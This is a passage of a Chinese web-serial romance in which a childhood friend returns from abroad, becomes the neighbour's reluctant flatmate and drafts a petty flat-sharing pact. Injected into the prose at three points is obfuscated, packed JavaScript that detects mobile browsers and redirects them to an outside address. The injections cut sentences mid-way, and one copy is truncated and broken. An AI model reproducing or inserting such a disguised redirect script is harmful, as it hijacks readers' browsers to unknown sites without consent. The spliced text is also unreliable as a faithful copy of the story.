“可是如果小王子驯养了狐狸，那他们就彼此需要了。对狐狸来说，小王子就是世界上独一无二的小男孩，对小王子来说，狐狸也是独一无二的。” 迟了了收拾好，起身将猫粮送回车里。 周默听着，跟在她后面一起过去。 “所以，‘驯养’就意味着建立密不可分的关系，从此以后，双方互相属于，且只属于彼此，对彼此独一无二。可你看它——”她语气中带上了一丝软软的指控，像是在告状似的，“它可不愿意属于我一个人。” 周默哭笑不得：“什么歪理。” 不就是这猫野惯了，不想当家猫吗，还被她说得煞有介事的。 “怎么能说是歪理呢？这分明很合理！”迟了了说，“这种事情，也要讲究个你情我愿的！” 说着，她又看向那已经跳上一辆车的车顶、正警惕地望着这边的三花猫。 周默也看了过去，目光来一人一猫间来回逡巡片刻，最终放弃了追问“驯养”一说。 从刚刚这猫的态度来看，迟了了显然也养不住它。 正想着，又听迟了了哼了一声，转而将要倒回箱子里的猫粮拐了个弯，又放在了脚下的路肩上，然后冲着花猫一甩下巴，说了句：“我们走！” 这个动作，让周默瞬间感觉自己像是在旁观两个闹别扭的小孩——两人你来我往，幼稚交战，最后吵崩，决定短暂绝交个五分钟。 而自己，则是那个被揪着质问“你是跟它好，还是跟我好”的第三人。 当然，他的答案毫无疑问。 - 从袁月的咨询室回来后，迟了了重新调整了工作节奏。 以前她也不是没遇到过卡壳的情况，虽然与这次有所不同，但也有不少经验心得可以借鉴。所谓“慢工出细活”，既然灵感不能如某巧克力那般丝滑，那她也就不强迫自己赶进度了。 状态好时，她就待在家里画个痛快；而一旦情绪走进死胡同，她便立即让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818885|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己挣脱出来，出去晒晒太阳吹吹风、走走玩玩、喂猫逗狗，或是去“或者”。 不过更多时候，是去楼下801。 虽然袁月没能给出什么具体的治疗方法，但周默却提出迟了了心情不好的时候，如果自己刚好在家，她可以到楼下来工作，或者来玩，说不定有个人陪着，她心情会好些。 迟了了一开始没觉得这算什么好主意，但偶尔尝试过一次之后，却发现这办法有奇效！ 之前她总嫌周默不爱说话，可没想到这种沉默在她画画时却刚刚好。 和一个人在楼上的安静不同，身边有个能喘气又不聒噪的同类，确实让她的心情安稳了不少。 再加上周默在旁边要么敲键盘要么看书，跟个人形白噪音制造机似的，简直不要太好用！ 于是乎，只要周默在家，迟了了便会抱着颜料和纸笔跑下去，甚至只要情况允许，她还会顺便蹭几顿饭…… 慢慢地，她开始有了在801安营扎寨的势头，801里属于她的踪迹也越来越多。 书房书架上，有了一层专门为她腾出来放颜料和稿纸的空间； 书桌上，周默原本放在桌子正中的电脑往旁边挪了挪，腾出来了约莫一半的地方，横放着几张属于她的画稿，和她卡通造型的马克杯，摆在角落里的猫头鹰玩偶，也被别上了个草莓发卡； 客厅里，除了几乎已经是她专用的单人蛋壳椅外，长沙发上也有了她的抱枕； 厨房里，有了她专用的碗筷； 茶几上和冰箱里，还有她没吃完的零食、没喝完的果汁…… 日子就这样一天天过去，转眼秋去冬来，气温降了不少，迟了了换上了毛绒绒的厚袜子，周默上下班时也换上了厚外套。 …… 这天，又是一个周六。 周默在书桌后对着电脑工作，迟了了则在画了一天画后先“下班”了，裹着小毛毯抱着平板，窝在沙发里看综艺。 她在看的是个搞笑推理类综艺，节目中明星嘉宾们按照剧本分别扮演不同的人物角色，并在设定的场景中进行搜证推理，还原案件真相。 搜证推理的过程中，嘉宾们时而被吓得惊声尖叫，时而各种插科打诨，笑料百出，连带着看综艺的迟了了也完全沉浸在其中，一会儿被吓得倒吸一口冷气，一会儿被逗得咯咯直笑。 为了防止打扰到周默，她还特意戴了耳机。 于是，周默确实是听不到综艺里的声音了，却被迟了了刻意压低后，反倒显得更加诡异的动静惹得频频走神。 终于，又一次，她在一处爆笑情节中一个没绷住，先是“噗”地一声笑了出来，察觉后又连忙捂住嘴“嗤嗤嗤”地笑个不停，肩膀都快抖成了簸箕。 周默忍不住了，起身准备去拔下她的耳机线——要看一起看！ 可刚推开椅子，大门就被“乓乓乓”地敲响了！ 那敲门声十足的不友善，惹得周默立刻皱起了眉。 甚至看综艺的迟了了也听到了，连忙扯下耳机，瞪大眼睛看过去。 两人刚刚四目相对，下一秒—— “迟三三，给我开门！”一个清朗年轻的男声便从门外传了过来。 迟了了一愣，随即一双眼睛瞪得更大： “许，愿？？？” 58. 许愿回国 801，客厅。 迟了了照旧盘腿窝在她那张蛋壳沙发椅里。 一旁的长沙发上，周默抬手撑着额头，正一脸无语地坐在……离她最远的那头。 而这一头，和周默隔着远远的距离，一头红发、穿着时尚、风尘仆仆却难掩俊美帅气的年轻男人正虎视眈眈地盯着他，从眼神到头发丝儿都透着敌意。 “你是说，你决定回国了？” 迟了了将刚刚听到的话消化完，惊愕地瞪大眼：“你不是说那边还有研究项目呢？！” 红发男人，也就是许愿，这才收回钉在周默身上的视线，回头看着她理所当然地说：“研究退出了呀！” “啊？不，不是！”迟了了赶紧抬手制止他，“为什么呀？” 她百思不得其解，之前说要国外有好机会的是他，一声招呼都不打突然要回来的也是他，这男人心也太海底针了吧？ 许愿却两眼一瞪：“你这什么反应？不欢迎我回来？！” “没有没有，不是不是，”她赶紧顺毛，眼珠子咕噜噜飞速一转，说，“你这不是，太突然了嘛！那什么，你回来跟二爸说了吗？他肯定很高兴吧！” 哪知听到这话，上一秒还张牙舞爪的许愿顿时慌了。 他眼神闪烁，心虚地看看天看看地，又抬手摸摸鼻子，半晌低声含混不清地说了句：“我没跟他说。” “啊？” “你也不许通风报信啊！”他立刻警告迟了了，“我当初说要留在国外的时候，跟老头子大吵了一架，他把我在黑名单里关了俩月才放出来，到现在还不乐意搭理我呢！要是让他知道我自己又回来了，我这脸往哪搁？！” 迟了了：“……” 此时此刻，她深度怀疑这父子俩的实际年龄。 都多大人了呀，怎么还这么幼稚？！ 叹了口气，她又问：“那，不回家的话，你准备住哪呀？” 这个问题显然正中许愿下怀，他脸色立刻又亮起来，“哼”地一笑，斜眼看向沙发那一头：“住——当然是住我自己的房子了。” “额……”迟了了一噎，也看向周默。 正在无聊到玩手机的周默听到这话，抬起头，不慌不忙地回看向两人。 对上许愿意图昭然若揭的假笑，和迟了了的一脸茫然，他顿了顿，淡淡一笑，不紧不慢地说：“我之前签合同的时候，一次□□了一年的房租。” 说起来，他当时这么做只是为了图个方便，不想每隔一段时间就交一次房租，而且那位房东大叔还说一次性付一年可以打折，自己虽然不差这点钱，但既然有两全其美的办法，又何必舍近求远？ 如今看来，这个决定还真是明智。 果不其然，他话音刚落，就见许愿的表情僵在了脸上。 迟了了倒像是松了一口气，发出一声长长的“啊——”转头看向许愿。 许愿脸色难看了片刻又立刻重整旗鼓，飞快盘算了一番，爽快地说：“你每月房租多少，我把剩下几个月的钱还给你。” “这……不太行吧，”周默有些迟疑地说，“合同我是跟房东，哦，也就是你父亲签的，钱也是转给了他，临时跟你中止合约，似乎不大合适。” “有什么不合适？”许愿不耐烦了，“这房本上是我的名字，你就算签合同应该也是签的我名字，跟我中止合约怎么不行？！” 周默不为所动，作势打开手机：“要不，还是跟你父亲说一下吧。” “哎哎哎！” 许愿见状连忙上前，一把夺过他的手机，眯起眼睛恶狠狠地打量起他。 他算是看明白了，这人是在这扮猪吃老虎呢！ 果然，他之前就觉得这人心思不纯，可能图谋不轨，眼下的事实证明，他确实不是个老实人！ 迟了了这丫头热情归热情，活泼归活泼，但心思简单，一不小心就容易被坏人瞄上，不然也不至于跟这家伙走这么近了。 不过现在，他回来了！ 从今往后，他势必会盯紧这家伙，不许他再出现在迟了了身边有效范围内！ 他面上一阵阴一阵晴，周默看着，也渐渐反应过来，眼前这个年轻房东突然回国，恐怕……是冲着自己来的。 意识到这一点，他心里突然莫名地有些高兴起来。 他这样如临大敌，起码说明，自己不是毫无威胁。 想到这一点，他唇角抿起一抹发自真心的笑。 许愿却面色更冷：这家伙，还笑！这是在跟我宣战吗？！ 于是他更加凶狠地瞪回去。 这边两人针锋相对、火花四溅，另一边，毫无察觉的迟了了却在苦恼另一件事。 一开始，她为了让许愿能如愿待在国外，在得知二爸把房子租出去后，便萌生了让周默能在这里一直住下去的想法，于是，又有了后面她接近周默，跟周默交朋友的念头。 可如今，许愿自己又回来了。 但周默…… 突然，她脑中灵光一闪，双手一拍：“有了！” 正明争暗斗的两人唰地收回目光，齐齐看向她：“怎么？” “我想到一个好主意！” “什么好主意？”许愿问。 迟了了朝里面一间房抬了抬下巴：“这不还有一间次卧呢吗？不如你就住在那儿！反正现在你的东西也都在里面放着呢，正好省得收拾了！” 此话一出，两个男人都怔住了。 “你是说……让我，跟他，合住？！”半晌，许愿伸出一根手指，指指自己，又指指周默，愣愣问道。 “嗯哼~” “而且，我的房子，我睡次卧？” “那——”迟了了摊摊手，“人周默付过房租的嘛！” “去你的吧，还好主意，我看馊主意还差不多！”许愿愤愤不平道。 迟了了撇撇嘴，转眼看向周默。 周默微微一笑：“我没意见，只是——” “你没意见？！”许愿怒吼着打断他，“你还‘只是’！” 周默斜他一眼，不搭理，继续对迟了了柔声说：“只是，原本我的租金虽然不包括次卧，却涵盖了客厅厨房等公共区域，如果要多个人同住的话，那公共区域的租金，我希望他也能承担一部分。” 许愿简直不敢相信自己的耳朵！ 这是人说出来的话？！ “这是当然的！”迟了了立刻点头，示意许愿也赶紧应个声。 许愿简直要被自己一口气给噎死过去！ 有没有天理啊！ 他住自己的房子，睡次卧也就算了，还要给租客掏房租？？？ 自己堂堂房东，竟然沦落至此？！ “我不干！”他一拍桌子，厉声拒绝。 他回国是来受这气的吗！ “那要不……我还是给许叔打个电话吧。”周默也不强求，只是说着就要上前拿回自己的手机。 “住手！” 许愿将他的手机紧紧护在怀里，警惕地瞪着他，又转头看向迟了了。 而这时他才发现，原本为了隔开两人特意选的座位，此时此刻竟然让他处在了两人夹击之中，也正如此刻他的处境…… 最后，在“被老头知道”和“委曲求全”之间思索半晌，他不得不咬牙切齿地松了口。 “住就住！” 可恶，竟然被拿捏了！ 老头子你知不知道，你儿子我因为你受了多大委屈？！ 迟了了见他答应，总算是放心了，再看面前“和谐友好”的两人，不由一阵心满意足。 她相信，这两人一定能相处得很好的！ 而周默看着一脸憋屈的许愿，面上笑得友好，心里却不动声色。 许愿是吧？ 好像也不怎么样。 - 因为天色已经不早，确定了两人同住的方案后，许愿便以“坐飞机很累，要倒时差”为由，让迟了了赶紧回楼上自己房子去。 分别前，他站在门口，状若无意地用余光扫过身后两步外的周默，突然开口喊住已经出门的迟了了。 “喂迟三三。” “啊？”迟了了回过身，不解地看向他。 “我从国外回来，这么久没见，你就没点欢迎的表示吗？” 迟了了歪歪头，不明所以：“不是一直联系着呢？” 噗—— 后面周默闻言，差点一个没忍住笑出声来。 许愿一噎，后槽牙几乎咬碎：“电话联系跟面对面能一样吗！” 迟了了不知道他在搞什么，怎么好好一个自恋狂突然开始走矫情人设了。 但想了想，还是叹了口气，往回走了一步，来到他跟前： “欢迎——” 然而，就在她抬起一只手，准备拍拍他的肩膀说些吉利话的时候，许愿突然倾身上前，一把抱住了她。 刚抬起的手顿时僵在半空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818886|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，迟了了：“诶？？？” 电光石火间，她似乎明白了什么—— 这家伙，是想家了吧！ 唉，可怜的娃呀，你说干嘛非要出国呢？ 想家就算了，直说不就行了，何必绕这么大一圈子，有必要吗？ 想通这一点，抬起的那只手轻轻落在许愿后背，安抚地拍了拍。 正想着身后周默看到自己和迟三三拥抱会不会破防，许愿就感受到她这两下，愣了愣，他觉得似乎有些不对。 可转眼，被胜利冲昏头脑的他又将这点异样抛诸脑后： 臭小子你看到了吧，我跟迟三三的感情，没有你插足的余地！ 识相的，最好主动保持距离！ 然而他却不知道，此时怀里的迟了了正歪着头越过他的手臂，跟身后周默递了个眼神： 孩子心情不好，你体谅着点…… 周默微微一笑，颔首表示理解。 - 终于送走迟了了，801里，许愿关上门，脸上表情立刻冷了下来，回身戒备地看向周默，再一次从上到下正式打量了他一番： 哼，跟之前视频里见到的差不多，长得……也就还行吧，相比自己，还是有些逊色的。 个头倒是挺高，比自己稍微高那么一点点——可恶，想当年自己在青春期为了窜一窜，可是疯狂喝牛奶吃鸡蛋，还逼着自己吃了不少讨厌的食物！ “警告你啊，离她远点，保持距离，别打歪主意！”打量完，他凶神恶煞地说。 然后又举起两根手指，指指自己的眼睛，又指指周默：“I’mwatchingyou！” 撂完狠话，他便再不看周默一眼，昂首挺胸目不斜视地往次卧走去。 擦肩而过的时候，还故意撞了下周默的肩膀。 周默好脾气地让到一旁，侧身看着他的背影，心里不禁有点想笑，又有丝不屑： 真是幼稚！ 比迟了了还幼—— “嘭！” 念头还没落下，视线里一边拧把手一边想用肩膀顶开门耍酷的某人便重重撞在了次卧门上。 又拧了两下门把手，卧室门还是纹丝不动。 ……整段垮掉。 “那个，门锁着呢，你得先拧下钥匙。”周默友情提醒。 许愿头也不回，压低声音恶狠狠道：“不用你说，我知道！” 周默挑挑眉：“哦。” 哦哦哦，哦个P！ 他只不过从来没锁过卧室门，所以一时间忘了而已！ 刷刷刷猛拧了几圈钥匙——他几乎将所有怒气都发泄在了钥匙上，期间还拧反了一圈——许愿终于打开了次卧门，走进去，又“啪”地将门一关，彻底隔绝了周默的视线。 周默站在客厅里，听着耳边回荡着的关门声，抬手按了按眉尾。 下一秒，他突然失笑出声。 这笑不是为许愿方才的窘迫，也不是为迟了了滑稽的同住提议，而是为他自己。 他还记得那天在迟了了遗忘的手机里接到许愿电话时的情形，自己是怎样一种心情： 同样是迟了了式鲜明画风的头像，意味着自己的头像不再是独一无二； 帅气的、颇受年轻女孩子钟爱的花美男长相，意味着自己一直以来被外人称赞的外在条件对于迟了了来说，或许毫无吸引力； 而最让他不是滋味的，还是那张扬的红发、外放的性格和理直气壮的亲昵，对比之下，愈发显得自己何其无趣…… 所以回来后，他便换下了头像，歇了试探告白的心。 可今天许愿抱着满满敌意突然回国，却反而让一切似乎又有了转机。 许愿的一系列举动，看似是在宣示主权，但这种刻意落在周默眼里，却反倒更加凸显了他的焦急。 之前他还迟疑迟了了与他青梅竹马、言语亲近，会否是什么恋人未满的关系，又或是早已互相默认的情侣关系，而此刻，他终于无比确定，什么都没有。 没有暧昧、没有心有灵犀、没有日久生情、没有…… 他恍然发觉，之前畏畏缩缩的自己是如此可笑。 深吸一口气，周默看向已经关上的大门和次卧门——从那里面，正传出咚咚锵锵很不开心的动静。 他摇摇头，笑叹一声。 然而下一秒，他眉头又倏地皱起。 ……虽然构不成威胁，但目前看来，也是个不大不小的绊脚石。 59. 合租公约 一觉睡到半夜，许愿再次醒来时，已经是第二天的凌晨2点。 他走出次卧，从客厅转到阳台，又从阳台转到书房，里里外外晃悠了一圈后，才总算接受了自己已经回国，并且从房东降级成为租客的租客、痛失主卧使用权的这一事实。 一想到这个，他就气不打一处来，怒冲冲地跺着脚来到主卧外，隔着空气对着紧闭的房门一阵拳打脚踢！ 可或许是因为动作强度过大了些，刚发泄了一小会儿，他就感觉肚子里传来一阵空鸣。 而直到这时，许愿这才想起来，除了昨天在飞机上吃的那顿简陋的飞机餐外，自己已经将近一整天没有进食了。 本着不亏待自己的原则，他决定先暂停对周默的隔空暴揍，去厨房搞点吃的。 …… 如果说房子是一个人的窝，那厨房就是一面镜子，里面的一角一落、一点一滴都能反射出使用者的性格、习惯和生活方式。 正如此刻展现在许愿眼前的厨房，已经不是他在时那样锅碗瓢盆随意堆放的“自由奔放风”了，而是干净整洁，连冰箱里的食材都码放得整整齐齐的“严谨理工风”。 许愿对着这一幕，懵了一懵，而后十分不屑地“切”了一声，从冰箱里拣出两颗西红柿和四颗鸡蛋，又“啪”地一下，用力甩上冰箱门。 将西红柿洗净、切小块—— 刀切在菜板上，发出既不连贯也不客气的当当声； 然后打鸡蛋—— 筷子敲击在碗沿上，发出一串毫无章法的叮叮当当； 再然后是开火、倒油—— 锅内尚有残留的水渍，和油混在一起，霎时间噼里啪啦一阵乱溅，吓得他哎哟直叫，赶紧扯过锅盖，挡在自己脸前； 再是炒鸡蛋—— 这步总算顺利了些，可炒到一半他又想起没开抽油烟机，于是下一秒哄哄的低鸣声又响了起来； 鸡蛋炒好，他懒得盛出来，便将切好的西红柿一股脑直接倒进了锅里…… 如此这般大开大合、挥斥方遒、一阵操作猛如虎，如果不看锅内的情况，只瞧他的架势，还真有一副大厨气派，很能唬人。 几分钟后，一份番茄炒蛋新鲜出锅，至于效果…… 嗯，反正红是红、黄是黄的。 倒是许愿，看着自己的成果颇为满意地啧啧两声。 然而端起盘子刚一转身，他就被不知何时出现在背后的人影吓了一跳！ 定睛一看，那人个子高高，穿了身藏青色睡衣戴着副眼镜，头发微微凌乱，还一脸烦躁样儿，不是霸占了自己主卧大床的家伙又是谁？！ 不过一眨眼的惊吓，抬头对上对方这副明显是被吵醒的模样，他又自鸣得意起来。 “哟！室友，你醒了？”许愿扬着欠揍的声音问候。 大半夜搞这么大动静，再不醒他就是猪。周默暗自腹诽。 但面上却收起了那副暴躁，只淡淡“嗯”了一声，身子从斜倚的厨房门上直起，目光也落在他手中的盘子上。 “你在做饭？”他问。 “对呀，你要一起吃吗？”心情不错，许愿也大方了起来。 而且不可否认，自信如他，此刻确实存了那么点炫耀的心思。 然而周默定定看了眼那盘番茄炒蛋——几乎没有番茄的浓汁不说，煎鸡蛋时火候也明显过了。 想起迟了了曾经吐槽过此人多年原地踏步的厨艺，他只觉得真是百闻不如一见。 “不用了，”他十分坚决地摇摇头，又说了句“麻烦声音小点”，便毫不留恋地转身回房去了。 许愿不知他的嫌弃，直到主卧传来关门的声音，才不以为然地耸耸肩，低头看着自己回国后的第一份“杰作”，得意地哼着调子迈着舞步走向餐桌。 入座、起筷、吃菜。 “呸！” 然而下一秒，他脸色一僵，立马又将刚吃进去的鸡蛋吐了出来。 扒拉扒拉，竟然有片鸡蛋壳？ 看着那枚蛋壳，半晌，许愿摇头叹气：唉，果然手生了…… 不过自己做的饭，他又怎么会嫌弃呢？ 挑挑拣拣着将一份番茄炒蛋吃完，又将盘子筷子拿回厨房，往水池里一丢，他便悠闲地踱回客厅，打开电视机，找了部电影看。 嗯，枪战题材的…… 十分钟后—— “砰砰砰砰！” “咚！” “哐——” 主卧里，周默感觉自己刚睡着，便又被这震耳的枪声吵醒了。 电视机就装在主卧和客厅之间的墙壁上，此时此刻，猛烈的射击声和此起彼伏的爆炸声透过墙壁传过来，又传导到整间主卧的所有墙壁上，落在周默耳中，俨然是一架立体环绕式音响，身临其境之感，不亚于躺在一家3D影院中！ 周默攥着拳头从床一下子上坐起来，咬牙切齿地怒视着房门——门缝底下，还有一丝光亮透过来，仿佛在跟他挑衅一样。 周默忍无可忍，掀被下床，准备出去跟他交涉一下。 然而双脚刚碰到拖鞋，他又忽地一停。 ……这家伙，要的就是自己破功吧？ 如果他此时出去，告诉他自己被他吵得睡不着，岂不正中他的下怀？ 再一思忖，周默探身拧开床头灯，又倾身拉开床头柜的抽屉，翻了翻，从里面拿了一副耳塞。 这耳塞还是他刚搬来不久后买的，当时主要是为了防止了了半夜在楼上再折腾出什么动静来。 可没想到买来后却一次没再用过。 有了耳塞，电视的声音小了许多，迷迷糊糊再次入睡之前，周默恍惚觉得这一幕有些熟悉。 再一想，他不禁感叹：不愧是从小一起长大的啊，一样让人不得安生！ - 等再次醒来，已经是早上七点多。 回想起昨夜的种种，周默抬手按了按太阳穴，感觉自己这一夜过得真是坎坷，也不知道外面那家伙现在又在搞什么。 可当他拔掉耳塞，却发现外面不知何时已经安静下来。 然而周默没有放松警惕。 他起身轻手轻脚地来到门口，小心地打开卧室门，然后走出房间，一路竖起耳朵探听。 直到来到客厅，看到沙发上那个顶着一头红毛正睡得四仰八叉的男人，才总算松了口气。 捡起地上掉落的毯子扔到他身上，许愿仍然没醒，抱着毯子咕哝几句，翻了个身，继续睡得死沉。 这下，周默才真正放下心来，转身去洗漱、做早餐。 …… 不知睡了多久，许愿是被一阵香气叫醒的——准确来说，他还没醒，就已经被香气牵引着坐了起来。 餐桌前，周默正吃着早饭，突然感觉对面坐了个人，抬头一看，就见许愿正对着自己盘子里的食物虎视眈眈。 粥、烤吐司、煎蛋、香肠…… 他仿佛能听见此人咽口水的声音。 “要一起吃吗？”他放下碗，“友好”地问。 许愿不禁有些惊讶，抬眼错愕地看向他，眨眨眼，坐直身体： “咳，既然你——” 可话还没说完，就听周默突然“哦”了一声：“我忘记了，你吃过了。” 许愿顿时：“？？？” 可恶！这家伙绝对是故意的！ 而且他之前吃的那是宵夜！宵夜！ “切，我才不稀罕！”他将头一甩，扭头就走。不蒸馒头争口气，他许愿才不食嗟来之食！ 看着那道愤然离席的身影，周默挑了下眉，唇角微微勾了一下。 …… 饭后，周默正在厨房洗碗时，又见许愿踩着步子噼里啪啦地走了进来。 “喂，看看，有什么意见赶紧提，过期不候！”他唰地将一张纸举到周默面前，毫不客气地说道。 周默闻声看过去，随即一怔。 只见纸张最上面一行，印着四个大号加粗的黑体字—— 合租公约。 “合，租？” 他一字一顿地念道，然后越过白纸看向许愿。 许愿听出他话里的异议，立时两眼一瞪：“不然呢？！” 嗯…… “行吧，”周默叹了口气，“你说是就是吧。” 许愿顿时炸毛了：“什么叫‘我说’——” 可还没说完便被周默抬手打断：“别吵，看着呢。” 他瞬间哑火了，忍着气继续举着那张纸。 《合租公约》 第一条：在任何情况下，双方不得邀请第三人回家； 第二条：在任何情况下，双方不得在屋内任何地方抽烟； 第三条：两个卫生间，主卧内卫生间归周末使用，外面卫生间归许愿使用，任何情况下周末不得使用外面卫生间； 第四条：书房一人一半，周末不得一人独占； 第五条：沙发一人一半，靠近单人沙发侧归许愿，另一侧归周末，周末不得占用许愿位置； 第六条：厨房两人共用，冰箱一人一半； 第七条：室内卫生，每周一三五由许愿负责，二四六由周末负责，周日各自负责； …… 周默一条条快速扫过，只觉得眼前这人怕不是刚小学毕业，还玩划三八线这套？35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818887|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “看完了没！”许愿举得烦了，凶巴巴地问。 周默瞄了他一眼，淡淡反问：“第一条，迟了了也不能来？” 诶？ 许愿一怔，立马补充：“她当然除外！不过我可以，你不可以！” 周默将洗净的碗碟放好，又接了泵洗手液揉搓起来，一边说：“挺双标啊？” “哼。”许愿下巴一抬，一副“就双标了，你能拿我怎样的”欠揍样儿。 周默笑笑，了然点头，却不放在心上。反正一般都是迟了了来楼下，算不上自己邀请，不是吗？ “其他我没问题，不过有三点。”他说着，打开水龙头冲洗手上的泡沫。 “什么？”许愿不大耐烦地问。 三点，还挺事儿！ “第一，不得在公共区域制造噪音，影响对方工作休息。”伴着哗哗的水声，他说。 许愿不以为意地翻个白眼：不就是早上吵着他了嘛！ “行——”他拖着声音说，反正下马威给过了。 “第二，自己用过的厨具餐具，自己及时清洗。”周默示意了眼一旁被他半夜用过后就一直丢在那儿的炒锅和碗筷。 许愿也看过去，然后撇了撇嘴。 “……行！”他又不是不刷，催什么催。 “还有什么？”他没好气地问。 周默完全不把他的情绪放在眼里，不紧不慢地关上水龙头，慢条斯理地擦着手：“第三，你把我名字写错了。” 许愿一呆：“啊？” “不是末尾的末，是沉默的默。” 许愿赶紧把纸转过来，一看，哦，还真错了。 这可不能错，不然就没约束效力了！ …… 将条款重新修正打印，又分别签上两人的名字并盖过手印，这份《合租公约》就算正式生效了，周默和许愿也算是正式成为了室友。 搞完这些，周默去书架上拿了本书，坐到沙发上看起来。 这期间还发生了个小插曲——拿着书来到沙发前，他一下子没想起来沙发哪一头是归自己的，于是便站在原地迟疑了几秒。 而就在这几秒钟的时间里，正跑里跑外收拾房间里堆积的各种东西的许愿发现他正站在靠近单人沙发的那头，脑中顿时警铃大作，立马冲他大喊：“喂，你是那头的！” 这会儿工夫，周默其实已经想起自己的位子了，可转头见他这般如临大敌的样子，还是露出一丝茫然的表情：“哦，是吗？” 果然，许愿眼睛瞪得更大，一字一顿：“就！是！” 周默这才恍然大悟：“哦，那看来是我记错了。” 许愿更加咬牙切齿：“你给我好好记着！” “OK。”周默从善如流地再次点头，两步绕过沙发走到自己那头坐下，又抬头冲他微微一笑，“我会记得的。” 许愿眯眯眼，哼地一甩头，不再搭理他。 别以为他没看出来，这家伙就是故意的！ …… 之前为了将房子租出去，许爸将许愿放在整个房子各个角落的大物小件全都一股脑地堆进了次卧，再加上这些日子以来，迟了了将许爸爸寄给自己的东西也放进去不少，故而如今的次卧，除了有张床外，跟个杂物间也差不了多少。 许愿花了整整一上午时间，才将房间收拾出了个能住人的样子。 等他灰头土脸地站在次卧门外看向客厅，面对换了台电脑在工作的周默顿时一阵无语。 ……怎么能有人在这么混乱的环境下，还静得下心来工作？！ 当然，他不会怀疑周默是在装认真，因为刚刚收拾东西的过程中，他还听到他打了通电话，全英文的，虽然有些专业词汇听不太懂，但也能听出他是在说正事，好像……是在指点对方的论文？ 对了，迟三三那丫头说过他是做什么的来着？ 计算机？机器人？ 想起刚刚收拾书架时不经意看到的那几份材料，许愿沉吟片刻，很是不情愿地在心里承认，眼前这家伙或许是有那么点本事。 但是！ 本事可不代表人品！ 这点他还是分得很清的。 想要让自己放松警惕？没门！ 使劲摇摇头，许愿红发一甩，又钻进了洗手间。 …… 等再从洗手间再出来，时间已经是将近中午了。 正准备悄摸上楼找迟了了一起吃午饭，好巧不巧，大门的密码锁响起了滴滴滴按密码的声音，紧接着大门打开，迟了了戴着一顶醒目的红色毛线帽探进头来。 “周默，中午出去吃饭呀，给许愿接风！” 60. 心机绿茶 装修精致的餐厅里，一个栗色长发辫成麻花、戴着红色毛线帽的女生，和两个高大帅气的男生坐在一桌，无疑是引人注目的。 尤其是那两个男生，一个留着一头张扬的红发，一个戴着禁欲沉稳的细黑边眼镜，更是让餐厅的服务员们都忍不住想上前主动问候。 然而此刻桌上三人的情形却是—— “你为什么先叫他的名字？而且给我接风不是应该喊我吗，为什么要带上他？”许愿抢了迟了了旁边的位子坐下，喋喋不休地追问。 迟了了被问了一路，此时烦得直捂住耳朵：“哎呀，你说什么？我听不见！” 许愿直接上手拽下她的一只手，更加凑近到她耳朵边大问：“我问！为什么要带上他！” “啊呀，”迟了了装不了了，一把推开他，揉揉耳朵,“要聋了！” “哼！”许愿见她这样子不禁有些气短，但稍稍撤身后，还是将下巴一扬，不依不饶地看着她。 抽空，还瞪了眼对面安稳落座正若无其事翻看菜单的周默。 迟了了无奈地叹了口气：“我这不是想着人多热闹嘛，给你接风如果只有我一个人那你多没排面？再说了，你跟周默都要做室友了，以后同在一个屋檐底下，不得赶紧熟悉熟悉，培养培养感情？” “培养感情？我跟他？”许愿气得发笑，“有必要？” “怎么没必要，在家靠父母，出门靠朋友，你现在不在家住，多交点朋友总是好的！” 许愿承认她这话是有那么一点点道理，可是跟这家伙做朋友？想得美！ “我交朋友也是要筛选的好吧？” “先熟悉再筛选嘛，”迟了了也烦了，“陌生人你筛选个毛线啊！” 额…… 这话说的好像也有道理，许愿竟然无从反驳。 那要不……先吃完这顿饭再说？ 就在这时，一直“岁月静好”的周默开口了。 “其实，我们两个已经初步熟悉了，”他说，“今天早上我们拟定了——” “哎不是你——”许愿反应过来他要说什么连忙出声制止，可是已经晚了。 “——合租公约，我想，我们会相处得很愉快。” 迟了了刚露出几分欣慰的脸上顿时僵住，下一秒，她扯出一抹“温柔”的笑容看向许愿：“合租，什么？” 许愿想把这家伙掐死的心都有了！ 他躲开迟了了虽然灿烂却犹如外面冬日寒风一样的目光，转头瞪向周默，眼神里透出浓浓“杀意”： 你多什么嘴，好好看你的菜单不行吗？！ 周默冲他“友好”一笑，转而将手中的菜单递给迟了了。 “你看看想吃什么。”他说，“其实有个合租公约挺好的，很多事情提前说明，之后相处也能减少不少摩擦和矛盾。” 迟了了是了解许愿这家伙的一贯秉性的，虽说不是对谁都热心，但也不是处处带刺，除了时常自恋加臭屁之外，其他时候还是大大咧咧蛮好相处的。 所以，刚回来第一天就跟周默定什么合租公约，再加上昨天刚见面时他对周默剑拔弩张的态度，这很难不让迟了了怀疑他对周默有敌意。 